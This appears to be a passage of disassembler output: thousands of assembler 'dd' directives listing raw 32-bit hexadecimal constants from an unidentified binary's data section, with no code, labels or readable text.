		dd 173C5513h, 0B9C0Eh, 8AE094CEh, 0E115006Fh, 0CB5128F7h
		dd 827637B5h, 1C1F0A79h, 0ADC18AB8h, 0F2A2BB98h, 0E0A5FEE4h
		dd 684A0092h, 0BE602EFAh, 99CEF1E5h, 4CF6D4CDh,	0CC334AC0h
		dd 0D2BCF03Fh, 2DC201F0h, 0CDFAE103h, 0BE3C345Fh, 72B1605h
		dd 0A437A533h, 0E1D444h, 0FB5DB080h, 0C2F113F5h, 23AD840Ah
		dd 8001D089h, 85C30ABBh, 5F37420h, 123E0F99h, 40C0192Ah
		dd 858C3DA5h, 40C21864h, 404CD1BCh, 0ABA775Ch, 11486000h
		dd 0E85F537Ch, 90B329DCh, 83383180h, 25C22FFh, 0B3EF1D7Fh
		dd 0F390E8E7h, 0D09C506Ch, 0EC3F5010h, 4C09C00Fh, 0E4D06815h
		dd 1A98BB0Eh, 84BFAACAh, 0ACD73DE4h, 0AB192643h, 0C0D84895h
		dd 0EE640187h, 5B2492F3h, 9CBE28E8h, 4668C569h,	42B80CFCh
		dd 0BCA93DC0h, 4CAEAF06h, 38875Eh, 35BDE2CEh, 93FECF3Eh
		dd 2CA9DCBAh, 7C80A41Ah, 0E841B798h, 3818CB4Ch,	1FB32CB0h
		dd 5EF6111Fh, 0A006911h, 0A65CB0F1h, 0D51681C2h, 0F093F6CAh
		dd 5FB5D044h, 95F2003Ah, 0ACFC0BB2h, 72036F62h,	0E4462CAEh
		dd 240C8970h, 417B030h,	0E53E6030h, 0D0F0CD01h,	93802437h
		dd 25F915FAh, 0C000E4ACh, 0F7EBCDB1h, 0EEEA4F61h, 4C41D48h
		dd 0B3BAAB59h, 0F63C88D0h, 0B6D9C223h, 0C0C19AB5h, 0CB8881A5h
		dd 75CAA3F7h, 30F8FEF9h, 1973034Bh, 908A058Fh, 256925h
		dd 992D1534h, 0F76200C8h, 13937B7Ch, 4E2D9AFh, 80800892h
		dd 0FC5166C5h, 80B41DECh, 0A0D036C8h, 9CC71D83h, 0A24C82F4h
		dd 0B07A6396h, 6E345104h, 0E89D5B57h, 0C9AC82D6h, 0F86EF5h
		dd 3664BB41h, 4978FA20h, 0A0007D4Fh, 82C4D331h,	0ACD5E8C9h
		dd 0B61A03A4h, 0C894A6E0h, 50F950DFh, 47F87283h, 0FC2408BAh
		dd 2C0EA4FEh, 8F5A2B64h, 9047B6FCh, 0A484436Eh,	8592ECD0h
		dd 0CA6316F7h, 38E88CF5h, 2BAB102h, 89A943BEh, 863CC5AEh
		dd 0C91D2959h, 7FF31115h, 0D29C40F4h, 5E2E7890h, 3402212Bh
		dd 44A61132h, 0C10830CCh, 2AC5EDE9h, 902E151Fh,	0BF56D7C0h
		dd 48ECCEB0h, 0BC800CF6h, 0DE7785F8h, 65C5D217h, 76559C04h
		dd 3430B085h, 6F6DC64h,	0BBA9F8E1h, 0F0EF99AEh,	78907F32h
		dd 80945490h, 22349C00h, 32EF0D0h, 906FF7A2h, 8BC86A13h
		dd 30B079F1h, 0B52D431Ch, 0B306614Eh, 30DB300Ah, 43F9CD00h
		dd 31898C95h, 0EC800E3Eh, 87CFEC53h, 0FE81A907h, 84B9B0FCh
		dd 88B0DE74h, 30F812FFh, 0C54C41A7h, 73FCCCD2h,	98758500h
		dd 0D4182CC0h, 0CB82C80h, 0AB6D8008h, 69347F46h, 87434D0Bh
		dd 596832B6h, 585A0160h, 35C39305h, 0B0983C68h,	907C492Bh
		dd 0C42C900Ch, 0B4D31770h, 29C31274h, 0B9E371D2h, 487866FAh
		dd 701B179Dh, 9A97A828h, 0AC0D3E2Ch, 17AF58E0h,	2576077Bh
		dd 0C4725F57h, 9F409393h, 4B3DED8h, 0A41F096h, 107C3B2Ah
		dd 1303C098h, 0CFD979D9h, 0D881CC69h, 0C8559FE1h, 32FC6C4Eh
		dd 73F3563Fh, 0C3D3EC01h, 55CA8DDh, 2467EC30h, 87643813h
		dd 503F585Bh, 84E55E92h, 0A400BA7Ah, 0ABD2A79Fh, 0DB981Fh
		dd 8C044BE7h, 0A170C056h, 4F55430Ah, 8140987Eh,	9A59F3C1h
		dd 4C92F4h, 0D7C2E7F8h,	1657FFCFh, 1009B015h, 0B9D04A8h
		dd 70B25C2Ch, 0AA216100h, 6F700518h, 81AF4309h,	0ECB4688Dh
		dd 0B6D901BDh, 0BA49CA9Dh, 7014F99Bh, 0A40056ECh, 3135A85Eh
		dd 0F40E25B7h, 0C128B684h, 2055B411h, 791CD1DDh, 0C0A4D4F6h
		dd 8C3C26C1h, 17EF1CC8h, 0CA39F3C0h, 6C5B1224h,	50199C80h
		dd 70690D5h, 0A391230Eh, 3B4A90ACh, 4700EE5Ch, 0B7B0A467h
		dd 9E97CBCCh, 0D41025D0h, 0E413E6CEh, 0B8431B9Eh, 0A8C87DDEh
		dd 0C4A4A9D8h, 0D0729271h, 3ACE41F0h, 0E6995B09h, 0C874E3E3h
		dd 70B5CDEBh, 69901FF7h, 577913DDh, 3424D9D8h, 0E5FFEAE0h
		dd 0E9B1F760h, 5AE831B6h, 804C5CB8h, 0EC651BD6h, 699E0947h
		dd 7C0A6013h, 777680C8h, 0CA365824h, 0C35FA77Bh, 303C0020h
		dd 0C415482Eh, 0DB004CD4h, 0B4405587h, 38BC49BDh, 2A76EF50h
		dd 3D5C754Ah, 1C05E8CAh, 72CDC18Eh, 0B454C758h,	66CBF641h
		dd 91E8CD0h, 755F8F74h,	693730A0h, 549B3A0Bh, 0AE07A429h
		dd 12C5AD4Ah, 0D2D49C10h, 60B7C00h, 1E35E580h, 2FBFB4h
		dd 0A58D129Dh, 334C2310h, 0DC584A28h, 5BD530h, 0B74D2143h
		dd 0BDFAE1B0h, 0CC6C162Eh
		dd 0E45F8A30h, 98E900D8h, 2FA2B112h, 5899073Ch,	0D0C45364h
		dd 248844B4h, 0A08C0Eh,	0EDC05992h, 0CC037C4Ah,	0B182A735h
		dd 911EA851h, 0AF84BBBDh, 3CD3E090h, 0DD0474B6h, 78924D1Ch
		dd 96986620h, 62416DD4h, 0D4B60054h, 0C453BC6Dh, 1C12E667h
		dd 0A5AF94h, 99316289h,	494EE173h, 4D77E443h, 68CDBAFFh
		dd 0B4723D6Ch, 51E53A04h, 0A388B0E2h, 0CC187E12h, 0F4B27884h
		dd 0C0E83596h, 9BAFD4D4h, 7F2A0D00h, 0AE7DB803h, 0F1C813E3h
		dd 0EAD409CAh, 492FF804h, 1A880483h, 498B88D0h,	41010116h
		dd 0BE12395Bh, 39DC310Ch, 0E38380C8h, 13D75E0h,	4498B09Ch
		dd 0A886F85Eh, 3A024888h, 0BBF77A39h, 0FBDC48FFh, 53BD2674h
		dd 19918068h, 2E7894ABh, 0C18CA35Ch, 431493A7h,	20A4707Ch
		dd 4B4953BCh, 5C0B72Fh,	0A8352898h, 6C005CE7h, 8A895C18h
		dd 24FE8FD2h, 788C1B4Ah, 727586h, 0FF96CCD1h, 0D24AEAFh
		dd 89A31C1Dh, 654CB780h, 2FA2562h, 0D806691Fh, 98C5BDFBh
		dd 56C0CF1Ah, 0C1927384h, 0D3414AE0h, 903C215Ch, 1C272490h
		dd 89092009h, 123451C0h, 730A740h, 0FC7CD787h, 0E0166690h
		dd 62549408h, 8C0B602h,	0D400B2AFh, 62180BCEh, 0CDAE82h
		dd 0B81FFE73h, 26477197h, 0BC2F2303h, 0B157AD8Ch, 0C603F75h
		dd 958E0286h, 26858A15h, 22DCC59h, 0E49A2C38h, 544E3DA0h
		dd 4C309961h, 697C2D7Bh, 0E2CECD0h, 0A1656173h,	0BDE99CC1h
		dd 0E7A024A2h, 0C41DD5Ah, 32FD95C4h, 0E284F453h, 607078h
		dd 0C6CCB5F8h, 2AFB594Bh, 24FFB12Fh, 0F8AD1720h, 0E4C2C890h
		dd 6C524CF5h, 0E4E01948h, 0E4507025h, 4EC442C0h, 310FCC25h
		dd 49246F30h, 7AA4A03Ch, 0F82AE48h, 7F237607h, 0D6D999A0h
		dd 0A0926A51h, 30DBDA4Ch, 0F08C312Bh, 27EB7CC1h, 9AD78Ah
		dd 0F0590442h, 0A6829D00h, 5C9EE2E5h, 455FC8Ah,	90D2FC26h
		dd 10307AB8h, 0F0E16201h, 98796396h, 0FE7C9440h, 5BC094B6h
		dd 0A05E5CAAh, 0A4985053h, 0ECE0004Dh, 0CB1E88E3h, 4772FDE5h
		dd 1AF4CE27h, 0FF24C864h, 0F1891DCAh, 5480EF4Ah, 74AE8B07h
		dd 8A54F01h, 480B288h, 5EBC4020h, 4F7070FCh, 0A360B646h
		dd 0C05C4AC8h, 573501F8h, 3E7978FDh, 0C1A87D73h, 7CC29FC4h
		dd 0F538E0F2h, 31AD5C6Eh, 0E403A600h, 0B6C8E705h, 0BBD90604h
		dd 98D0DF15h, 5459F2h, 0E34719ABh, 6948AAB4h, 2C17CC00h
		dd 83A138E8h, 6DBD3A20h, 8EE74507h, 5C72B17Bh, 200C216Bh
		dd 0B8928088h, 0EA25ACB0h, 0A7C8C75Ah, 23079CA1h, 5F306C90h
		dd 4F85B861h, 6FFC202Bh, 0E13008CAh, 0E2B561F7h, 20FB49D2h
		dd 7721BB0Fh, 6C00DDA9h, 149717Ch, 6A035505h, 2418763Fh
		dd 0C0C6AE70h, 781DBDC0h, 209174ECh, 7B4CC4EFh,	3969F720h
		dd 17B0C801h, 476E608Fh, 94503F02h, 9C2F130Eh, 0D7A720F7h
		dd 55856E0h, 3F3263F0h,	85888807h, 4B311112h, 367F2502h
		dd 0DA164053h, 38D15DFh, 3B1A88D1h, 0F47838CBh,	0CA5B3938h
		dd 0DC148056h, 0AE0C8730h, 8CF00BE0h, 4806FC1Ch, 2E80E011h
		dd 0BDA6390Eh, 0B0B0037Bh, 1A749A95h, 0E38C00F8h, 24B14465h
		dd 2C6F31B9h, 0B20B00CCh, 0AECE1575h, 0D420A509h, 1B00A09Ch
		dd 0B20708D7h, 105E0B50h, 941C6333h, 48BCCA53h,	88D0D344h
		dd 9BD6AA85h, 0CD190328h, 13F5BB7Fh, 0E8EC9054h, 22095794h
		dd 80463092h, 0A6E59D57h, 4CCC98A9h, 8901EC77h,	68D96260h
		dd 0F670D084h, 1EFACE25h, 4458A448h, 4B24F0BCh,	57001C86h
		dd 0C9407255h, 775C2D79h, 0C1E65026h, 18DEBE4Bh, 2914C416h
		dd 6168353Ch, 92DC7D54h, 0ECB0BC34h, 0E97AD9h, 7CFF675Fh
		dd 481B8AF7h, 4C8074Bh,	7E0F0920h, 98A1F9FBh, 24E01482h
		dd 0E624911Ch, 0A506DCC8h, 0B6A9BA86h, 880A026Ch, 64D18155h
		dd 0AECC20AFh, 0C032C74Bh, 6AD8A719h, 0DD0972E3h, 8C2A90A9h
		dd 1D1B9A4h, 635B69E1h,	40559F09h, 0F2EC36BCh, 0E052DD01h
		dd 5D14A9E9h, 9C5AC60h,	560D557Ah, 58AC2C71h, 0FF86C50h
		dd 1C97EDCCh, 8F9FE362h, 5DC9088h, 40D43DF1h, 6DC9D8A4h
		dd 3C9220BAh, 0FD268300h, 367D1464h, 0D5931DDBh, 0BBE6C591h
		dd 0E324C4ECh, 5E1B0160h, 94AFD8E4h, 0AE5C212Bh, 0CC6821DAh
		dd 7998A6A5h, 5F3FF084h, 16B9481Fh, 5D03A27Eh, 0F8B787D7h
		dd 2953098h, 235CE240h,	0A440DB01h, 0FF4DF8DAh,	3462B5DCh
		dd 147C42C1h, 0C76B0084h, 0E83FEA1Eh, 0B2FE23F1h, 0DC759A3Eh
		dd 0ED4EE398h, 0C86F060h, 20605B30h, 744101D8h,	3D401CBCh
		dd 23C95E3h, 34E94B71h,	0D10009DBh, 11D2513h, 17E0EB2Eh
		dd 0F8F8DD1Eh, 0A8EA20D8h, 0F88B4Ch, 3D3075D0h,	1FA0022Bh
		dd 0C0776B4Dh, 0DF64F8CFh, 794897B6h, 64934E64h, 6CB8ECDBh
		dd 0F049E890h, 0CCE8CD4Ah, 34011D52h, 0AF2058B7h, 75FB92h
		dd 130AB820h, 4789FA21h, 0E060F498h, 74B7B427h,	0AE40E901h
		dd 87ACA3E3h, 0B5B7073h, 70A01EF8h, 43BFBB4Fh, 5D4E34FAh
		dd 9B28B8C1h, 1CEE4510h, 5A477CBBh, 0A58A53A0h,	0D9892FC0h
		dd 481ABC8Bh, 1C9918D0h, 4CD88FC0h, 0CF652E1Ch,	45524054h
		dd 229DBBAFh, 78724074h, 0D870044h, 245E7F1Fh, 48C38A9Ah
		dd 80320809h, 0E0C23888h, 34B25FEBh, 56DCED08h,	7821DA0Ch
		dd 60D4B41Ch, 3212380Ch, 6C4E9701h, 3AB4947h, 286D5261h
		dd 36704F96h, 42032E81h, 0A068DA94h, 0B6161C70h, 48345A02h
		dd 12A648A0h, 0F2441192h, 74300B8h, 0FF272E05h,	0CDDC00F5h
		dd 3C5CB669h, 8702CB51h, 0E04ABEA3h, 5A3CF091h,	0D41080E7h
		dd 40486384h, 0ECCED2E0h, 57187B1Dh, 83409027h,	4C09C5C7h
		dd 44774858h, 0CD172D50h, 0B43BBC80h, 3E2D1987h, 24DC11CBh
		dd 5F12EC41h, 772EB430h, 1A276B5h, 66F64BB7h, 233F0FF3h
		dd 96F480D8h, 2379409h,	313B11A5h, 0F4CE1033h, 7A90B90Bh
		dd 7E80008Dh, 0A61FEFh,	8825B759h, 70324660h, 0B889655Ah
		dd 0CC28A021h, 24A89D00h, 0EBF26C36h, 93B0983Bh, 948BEFD4h
		dd 0C99D3049h, 6C201357h, 0E1D6C923h, 8060ED52h, 0C396E5F2h
		dd 48660049h, 0F7E2F5DFh, 0C10BE6A8h, 0C0C9DE99h, 53AE5Ch
		dd 0F9692720h, 77D1DA96h, 2A428305h, 24A8072Ch,	80B4CA8Ah
		dd 0C189B245h, 17754315h, 0BAA1C602h, 5E5AF2A2h, 263D8978h
		dd 10207489h, 0FBC870D0h, 0E397EA0Ch, 0CFA92Bh,	59E71646h
		dd 0C38B1A1h, 0D1D83400h, 2B9790E3h, 10FE005Ah,	66CB7BC2h
		dd 0A100D30Eh, 0ABD91880h, 1488DA6h, 556E3072h,	0C04C82E9h
		dd 6007ADEh, 8CE4569Fh,	18A48545h, 1057CDAFh, 0D15F8438h
		dd 19004EF8h, 0B9C85A70h, 6BE62B9Bh, 2FF288F6h,	0EACD2000h
		dd 7BFB91C9h, 67231E76h, 40D95D07h, 904A6524h, 24839B0h
		dd 70A8078Ch, 0A205559h, 0CBF4D3h, 5C1FEDBFh, 0BD91868Fh
		dd 33F76200h, 3AC39BACh, 0FF660F03h, 0B00B4B8h,	53D1EF44h
		dd 1CBE0A00h, 4269B63Eh, 0F1FA0EAFh, 9F60AABAh,	0EEB5761Fh
		dd 0B4A88260h, 1254944Ah, 19ABFC2h, 365EC81Eh, 73C98EA3h
		dd 0AB3AE702h, 0C302CF6h, 0B60CA988h, 0F9061B20h, 0DA27307h
		dd 84B40631h, 5A89442Ah, 0C696428h, 93F8048Fh, 42A400F9h
		dd 0A7CD098Ch, 81036C2Ah, 63BA54BCh, 3DB5A382h,	83B4C131h
		dd 0F8E81938h, 0F135F1B2h, 34BCF2BDh, 0E04C2A52h, 0C0A1FCA2h
		dd 0A80A5410h, 7201BDDDh, 80374233h, 6E19227h, 0C52FBF1h
		dd 0BCB91840h, 2A7C4384h, 24431819h, 430C502Ah,	0B7EE1028h
		dd 86E2C88h, 323044B8h
		dd 5418A496h, 8B67931h,	52FF8660h, 6419580Ch, 24AF5C0Ch
		dd 5021C3BCh, 74C8D290h, 7832ED64h, 4448DF1Bh, 0A46D3244h
		dd 831480Ch, 894C08BEh,	89A2F004h, 86B74A44h, 119D1E21h
		dd 6AFA01BBh, 94670186h, 13000022h, 0B5FC6533h,	1B2683CBh
		dd 0B3009544h, 0A49F913Bh, 464C12B8h, 0CA4C006Ah, 0CB498B25h
		dd 41A11830h, 2A1E4FB9h, 11C88A90h, 43D37AFh, 0B9DB801Bh
		dd 0C629B500h, 8500BA7Bh, 0F4C46C31h, 50AFEBEEh, 4DB5007h
		dd 534401B2h, 472E435Bh, 0FF890694h, 0A8BCC731h, 3665B00Fh
		dd 0B86BCF2Ah, 29872C88h, 581C2753h, 4C030A2Bh,	0FFAF717Dh
		dd 0F681003Ch, 0F94A1423h, 0DC18FC24h, 2B50290Ah, 75C37584h
		dd 90473025h, 945FE159h, 80B22F31h, 83C0EC17h, 19905C3h
		dd 2607B0D2h, 50C810C8h, 0E77189E2h, 62EE9C02h,	7C2B1490h
		dd 2ECB68C4h, 0AA014A30h, 32E89975h, 2856FB01h,	9D83A167h
		dd 6349C040h, 0F8BA60FFh, 0EECA7421h, 99435D03h, 0E8BC885Bh
		dd 0DFDABBDh, 17AF2AF4h, 0B3E5B9h, 0C0B6DC8Ch, 9302F599h
		dd 7C016C28h, 0A0681A17h, 6980CFA1h, 0C12CDFA6h, 0F1FDA927h
		dd 4A1995B3h, 814C3268h, 0B3981E60h, 5F11B512h,	17213840h
		dd 0E8479B97h, 165D0081h, 0E02AF9E4h, 0DA4DDCE3h, 0A92B19F8h
		dd 0A98A4210h, 83F42463h, 9A5FA1D2h, 39E48814h,	366474B4h
		dd 56419318h, 413A1653h, 8ED7949Ch, 9B66A1F9h, 0C3182221h
		dd 250FE90Eh, 9F108E67h, 31B4AF0Ch, 849E573Bh, 397B8C01h
		dd 9E5C631Ah, 0D800D191h, 0AE18339Eh, 198B6062h, 601ACE7Bh
		dd 51B88432h, 127C46B0h, 41987806h, 26A4BC94h, 9C1AD032h
		dd 804DE526h, 0B25220A8h, 481C2488h, 0AE4080A8h, 8448EBA2h
		dd 403161F2h, 0D3897C60h, 2A06AFFh, 0B5B92DB6h,	63C05440h
		dd 99248682h, 0D1F40A39h, 87804CE9h, 0BE2324DCh, 0F5796D8Ch
		dd 61F8B200h, 0B8A1A75Dh, 62297402h, 92DC41A3h,	49245084h
		dd 36088467h, 0BA27D232h, 0F2B08EA3h, 44744881h, 0BB582C63h
		dd 46659294h, 0E854E9ACh, 50AFEF22h, 48FD58EBh,	352BE0D1h
		dd 42FAB930h, 0BACF8487h, 98F16A07h, 11248820h,	0B087484Bh
		dd 304C5CCEh, 639F123Ah, 91480EE3h, 14024D89h, 1304B424h
		dd 0FB4F55C0h, 13637D39h, 605CB242h, 4853E810h,	9D02BA7Eh
		dd 8BE4F077h, 0AEA88215h, 93CC012Bh, 3A28400Fh,	997D6BA0h
		dd 0C3288774h, 1093A0B2h, 0C0401B1Fh, 0E9AC5F34h, 88E0A085h
		dd 0FB6200E1h, 229BB5ADh, 0A700FD44h, 9EDC3C69h, 26F9BBB4h
		dd 708C3652h, 7CA02B39h, 5C12794Dh, 502CC984h, 0B66B021Ch
		dd 0B9404301h, 8A2548A0h, 6218F9A8h, 0B280B06Fh, 0BFB30F7Ch
		dd 4A12636h, 2486A12Ah,	6801224Ch, 71ABB167h, 44608740h
		dd 0B0F50BA7h, 483893FAh, 0D083C1C4h, 241AB02Eh, 83845481h
		dd 0E41F85B9h, 40B83148h, 7E840258h, 983B36DBh,	0DD0CB8E9h
		dd 108640EBh, 400C4CB5h, 76B7B380h, 0F224457Dh,	91B8088Dh
		dd 0EB02471Dh, 34DB0A3Dh, 848084A9h, 0F226A03Bh, 5188E50h
		dd 0EBB00C84h, 0A968825Eh, 0F10E3E0Dh, 789129BCh, 0B1AA004Bh
		dd 0C23BEFB8h, 335234B6h, 6394C0D1h, 91038588h,	0F2277FF3h
		dd 0BC41027Eh, 80F1FCB7h, 89F0884h, 6090E491h, 809793A0h
		dd 3F181A3Bh, 308011Bh,	54CA7EFAh, 359A0B7h, 55089C4Ch
		dd 0B8D4F2A8h, 3AE00081h, 323FBF78h, 59AF0246h,	6ACB74CEh
		dd 0C06F2851h, 63549DB2h, 2119C12Ch, 50FBDA3Ah,	618106A0h
		dd 7AC0E4AAh, 0C1608483h, 0FE18AC41h, 0CCFB4874h, 0F3E1A04h
		dd 0FF7C88A3h, 0EEB3501Eh, 67AB1403h, 5FACA02Ah, 0A0442425h
		dd 0C2E45820h, 9C20C8A4h, 94F8DF9Fh, 0D090C8F2h, 0F3020909h
		dd 0FF19EC80h, 0D0A85459h, 0EB4BF8FAh, 0D26C5041h, 0B0ECF91Ah
		dd 3328A0EEh, 0BA2C0EDCh, 0BDEF9AB3h, 11271C06h, 0B91E26F8h
		dd 0AC058F92h, 30376AFDh, 10B19A1Fh, 92448h, 0AF5B01FCh
		dd 0F821FFF9h, 12EB440h, 0DD45020Ah, 8F84C53Eh,	0EB150D1h
		dd 0A9CCF43h, 0A1139C5Ah, 0F4940090h, 3B14126Ah, 335006F7h
		dd 74A408DFh, 6ACC7900h, 64A77C0h, 0EDE70044h, 60BE09FCh
		dd 5F7C86B5h, 0C059333Fh, 93F0A023h, 0B9DFBCh, 420D604Fh
		dd 2749BF20h, 53607414h, 60477621h, 90F40012h, 0B3705D43h
		dd 11F2D04h, 0A4CD638h,	0F4B489BEh, 8460383h, 8CA6859Ch
		dd 0BAA27818h, 7ABB521h, 64E0784h, 0E971373Fh, 1AB36487h
		dd 8019117Ch, 3B136AF5h, 88448CCFh, 6ACD0772h, 208EEC0Eh
		dd 596644A9h, 0A3002092h, 9A74D0ACh, 3F096Ch, 541EBA10h
		dd 6225692h, 988440FFh,	80E986E5h, 67F444A8h, 0A92C38h
		dd 0DD29D33Dh, 36801AFEh, 0D4534F00h, 98B6AD78h, 6684009Bh
		dd 0A817567Eh, 6400CD7Dh, 0EDE84280h, 0FE0BC750h, 0C3133C1Dh
		dd 0E6008B3Ch, 2F83D773h, 0E7000416h, 0DFA82762h, 358722h
		dd 0E959580Dh, 901669BFh, 0DB6A2A05h, 0E080A461h, 0F505FDh
		dd 0BC03BDFEh, 517EB1A6h, 5200467Eh, 0C33A1E44h, 3F82F10Ah
		dd 0AD80EE49h, 0F8946D7Ch, 0E21D42C4h, 0FA004D47h, 641AB8DAh
		dd 56F0F0E4h, 62C00463h, 0D86BE2E1h, 0F1A6DA00h, 0A0B45AC9h
		dd 0D60939ECh, 4E398781h, 87DF4BDBh, 35328439h,	0C415C70h
		dd 19613368h, 2100A908h, 5E352A8Dh, 3F39A803h, 0D28058B1h
		dd 26CEE3CDh, 0D100D094h, 42656CB5h, 3FCB531Bh,	1080F037h
		dd 0C4EF6D90h, 69001F81h, 7008DA65h, 0F7E5BE9h,	686433CAh
		dd 4BC3B998h, 2498BA1Fh, 0A02E48h, 58ED60ABh, 2CA31A82h
		dd 482B780Ch, 833965h, 0EAD29075h, 0E2EC798Fh, 9C089F63h
		dd 0A92000E3h, 401909Dh, 0AF1DFDB4h, 0EF4384F4h, 83E536h
		dd 6F4E3A98h, 1346F84Bh, 0EA168E00h, 5BF49F4Fh,	2A637EC6h
		dd 0B0F5B5h, 2822DD10h,	597FDC67h, 8CAA4FCh, 0B580D017h
		dd 1E9222D4h, 1150110h,	0B669D687h, 70E982ECh, 90B57E55h
		dd 3FE2D3D8h, 5A3782B8h, 50BB93E1h, 0D86D2100h,	0ACD66C24h
		dd 0CEDF3387h, 21006709h, 0C924A00Dh, 9D9611h, 7FDE4381h
		dd 487894E3h, 0C8E0D754h, 8B1C0607h, 5E50E640h,	0BC5274h
		dd 0F2BD49C6h, 987B3BDDh, 0B59C470Ch, 1E1599EBh, 5F11A9h
		dd 0D72F43D2h, 890064DDh, 0BA5EE70Ch, 145CD5A8h, 94913B92h
		dd 5D80D601h, 9152F02Ah, 0D980D8C9h, 0F4D67324h, 1C66448Ch
		dd 0B724A100h, 9C8ACF67h, 38E90ECAh, 9198B5ECh,	1A00DA7Ch
		dd 47F3D1DBh, 52BB9Fh, 0A949BC30h, 4363D675h, 0F19E7C01h
		dd 0ED0F50EEh, 8CD4A848h, 6724DD0Fh, 698871D6h,	24A51087h
		dd 0EDE92DC0h, 5AA0A8E1h, 0E76D09B7h, 18006EFCh, 0D5EA9541h
		dd 0C3354012h, 9610483Ah, 0DD8AC1E4h, 0D0F01B0Eh, 0C4393245h
		dd 6C301E48h, 0EAD71190h, 809B8897h, 0F99074A2h, 0F89D419Eh
		dd 26502AF6h, 0AA9C1FC0h, 0C549016Bh, 20AC5763h, 0E214DF64h
		dd 7BD8B41Fh, 58A1E71Fh, 86D1698Fh, 1318B2F7h, 3226EDA0h
		dd 27309E14h, 5CDE1135h, 629E29h, 0D9351FA2h, 17799ECEh
		dd 9878CC28h, 0B05ABC2Ah, 914A9B00h, 176E098Dh,	204E60B8h
		dd 7130586Ah, 29246034h, 470FDC6Fh, 82099378h, 0B24A0401h
		dd 3A209459h, 8CB0AC64h, 2470454Ch, 678340EAh, 1E7370E7h
		dd 1EC33CB0h, 9E1C495Ch, 0B2E9B0A0h, 91C057BBh,	18CACBFDh
		dd 0EFAB006Dh, 3AD02CAEh, 9009107h, 0D8276AF6h,	1D79DFE2h
		dd 2882F939h, 349B4DD0h, 3422E180h, 87FC67h, 422D8B1h
		dd 4404F44Fh, 1EECD475h
		dd 7F138481h, 0D9C82805h, 24D2048Ch, 62FCD676h,	0DA1B206Ch
		dd 6E06A724h, 58BC1041h, 81AC1E19h, 81F59E0Fh, 0B4825A0Eh
		dd 0AF0AFCFBh, 1EC6C4Ch, 85D16A31h, 7024BA3Ch, 897810B8h
		dd 12C23FFh, 0EAD99076h, 409E1887h, 90EAA8E3h, 0AF736400h
		dd 77547BE1h, 0DE8F3283h, 78C4E858h, 0E0283534h, 9A23302Eh
		dd 0CABD8A00h, 7FCFD13h, 415A0CE6h, 67C7F2ABh, 0A1AE58C1h
		dd 1AD1D0D9h, 3712B218h, 5420B95Dh, 3489212h, 0E1735287h
		dd 0D1A8EA80h, 2100C6CEh, 0B5FB2AA4h, 58DCF671h, 0FA9E8C47h
		dd 0DAE9C080h, 40A0935Ch, 144FBA00h, 634E33D1h,	0F8E652D3h
		dd 1D0D8616h, 7318BE94h, 246C18DFh, 99616473h, 4F577051h
		dd 58D89183h, 117C964Bh, 88779213h, 40CA0400h, 66487EC3h
		dd 98F3968h, 0A84CD301h, 0D882D906h, 21D1C24h, 640FED9Eh
		dd 9342C3FFh, 25698880h, 440ADC9Fh, 0D0ECD828h,	672D6605h
		dd 30206888h, 3F596C48h, 0FE00595Bh, 93A454ECh,	0B886263Bh
		dd 506C7567h, 8C1FF0D8h, 0D6906904h, 90CE6FEAh,	9071A501h
		dd 0D8D8E595h, 3014EB56h, 15901DAAh, 0E4EDB5h, 7CF42E61h
		dd 25C22Ch, 35B778C6h, 10436F3Bh, 0B46C7758h, 6688D0CBh
		dd 5E2BE9C0h, 82A53E49h, 56B9778Ch, 2E583421h, 5B10409h
		dd 0E081A3F7h, 0CC35A237h, 2443F2C8h, 80ACF16Dh, 0C6C4368Eh
		dd 0DE60B671h, 44A6D9C1h, 0B8E50030h, 60FD1EFBh, 6A011BC1h
		dd 0BE480EF4h, 8616770h, 263D45CCh, 11ECC4C2h, 3526809Fh
		dd 8C215CDBh, 0A1A844h,	55D8351Eh, 5ADB7F82h, 376D6B00h
		dd 0B931CF2Eh, 0C38B22Ch, 0F4C52F38h, 48CA160h,	5CE13534h
		dd 20DD62D1h, 0AE352C8Bh, 0B3D8120Fh, 5C0292EBh, 0E4618E28h
		dd 72C0A194h, 2208DE18h, 0C4D46727h, 0D5AE4018h, 21F8B22h
		dd 0CAFC61A3h, 20511AECh, 86E49BD8h, 0E114FF01h, 60EF4350h
		dd 0D6233076h, 8424D30Bh, 88EC448h, 24006158h, 1D3228D3h
		dd 0CA00FF4Fh, 84B2BEE2h, 0C05BBBF0h, 4DB7C729h, 0A600B09Ch
		dd 3FE12DC3h, 482EC138h, 0D715F8D6h, 0A50184ECh, 60346CD8h
		dd 0F12072CAh, 0CA0CE39Dh, 1C840A39h, 3B00874Ah, 54D3E0B6h
		dd 7ABB289Bh, 60B209C4h, 8000E9BEh, 0F8FFB93Bh,	21D85759h
		dd 5C30A62Bh, 0A1016646h, 798969B7h, 15D040A4h,	645238B6h
		dd 17123F8h, 672622DBh,	881418ACh, 2200D2AFh, 799DA6F1h
		dd 4B23219h, 40E9A1D9h,	17AC8113h, 0D50C74E4h, 8179C702h
		dd 0E42F9259h, 20371688h, 0E1F0023Dh, 58AFE2h, 0A880B82Ah
		dd 99D1D0B1h, 46785918h, 0FCE9C57Dh, 9B609C0Ah,	0B9236D58h
		dd 0DD88AB77h, 0CC5EB8C4h, 0E009BC1Bh, 264F6F32h, 0AA085FC8h
		dd 0DA593E9Ch, 93509B29h, 0A31B0AEEh, 4F5403D4h, 4896703Ch
		dd 38E2650Bh, 5640095h,	0C380313Fh, 33912EE8h, 0BC2559BBh
		dd 7478A49Ch, 2522DC60h, 0C0A46721h, 6D22D3B0h,	0D55AF700h
		dd 58B37D25h, 0B4114C4Ah, 0D76B9C05h, 5BBC0678h, 0D806A867h
		dd 658FF2D4h, 28D63D14h, 3013869Bh, 0E200A3ACh,	6966306Ch
		dd 0E604CF1Ch, 0E9C161FDh, 5983CDE3h, 93BFDADFh, 3779780Eh
		dd 92738Dh, 4586CA0h, 5CDC3525h, 20DB6219h, 43351DA4h
		dd 8B8BF83Ah, 2A7250EBh, 63099CBCh, 404BACh, 662E7531h
		dd 455F9C24h, 0CA8D2207h, 0ED137DAh, 0C0E5FDA0h, 0EA13BC40h
		dd 0A080F7DBh, 0C9B7406Dh, 9A0093CFh, 0D183E942h, 68C708h
		dd 9BC49138h, 0FE1D4C94h, 0D20073F2h, 23753F50h, 0D83DC0h
		dd 0E17A5CBCh, 10E72617h, 18D13Eh, 97F9D2E5h, 0F2C8A081h
		dd 0F1B63FA6h, 0BDE7E300h, 647F4412h, 1E9D5F00h, 3DCD18E2h
		dd 9E9500FCh, 658EE67Bh, 0E034907h, 0CEBBF7A6h,	201018DBh
